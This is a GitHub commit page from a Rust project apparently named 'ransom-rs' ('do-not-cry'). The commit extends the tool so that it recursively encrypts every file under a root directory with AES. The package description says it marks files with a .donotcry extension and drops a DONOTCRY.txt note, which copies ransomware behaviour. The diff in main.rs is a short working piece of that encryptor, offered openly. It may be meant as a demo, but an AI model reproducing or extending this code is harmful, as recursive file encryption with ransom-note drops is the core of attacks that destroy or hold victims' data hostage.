Skip to content

Commit

Permalink
feat: encrypt recursively directories inside root directory
Browse files Browse the repository at this point in the history
  • Loading branch information
RotrixLOL committed Mar 12, 2023
1 parent 71ae2bc commit 82d135e
Show file tree
Hide file tree
Showing 5 changed files with 40 additions and 7 deletions.
32 changes: 31 additions & 1 deletion Cargo.lock

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

3 changes: 2 additions & 1 deletion Cargo.toml
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@
name = "do-not-cry"
authors = ["RotrixX <[email protected]>"]
description = "Encrypt and decrypt directories/files using Aes cipher. When encrypting, DONOTCRY.txt file will be created and all files will have .donotcry extension."
version = "1.2.1"
version = "1.3.0"
edition = "2021"
license = "GPL-3.0-or-later"
repository = "https://github.com/RotrixLOL/ransom-rs"
Expand All @@ -23,3 +23,4 @@ path = "src/main.rs"
[dependencies]
colored = "2.0.0"
libaes = "0.6.4"
walkdir = "2.3.2"
10 changes: 5 additions & 5 deletions src/main.rs
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
use libransom::encrypt_or_decrypt;
use std::{env, fs};
use walkdir::WalkDir;

fn main() {
let args: Vec<_> = env::args().collect();
Expand All @@ -24,13 +25,12 @@ fn main() {

// Check if the input is a file or a directory
if fs::metadata(args[2].clone()).unwrap().is_dir() {
let entries = fs::read_dir(args[2].clone()).unwrap();
// let entries = fs::read_dir(args[2].clone()).unwrap();

// Iterate over files in directory and encrypt or decrypt them
for raw_entry in entries {
let entry = raw_entry.unwrap();
// Iterate over files and directories inside a directory and encrypt or decrypt them
for entry in WalkDir::new(args[2].clone()).into_iter().filter_map(|e| e.ok()) {

if entry.file_type().unwrap().is_file() {
if entry.file_type().is_file() {
encrypt_or_decrypt(entry.path().to_str().unwrap(), args[1].clone().as_str());
}
}
Expand Down
1 change: 1 addition & 0 deletions test_files/dir/another/another_one.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
hello world
1 change: 1 addition & 0 deletions test_files/dir/test.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
hey, this is a file inside a directory

0 comments on commit 82d135e

Please sign in to comment.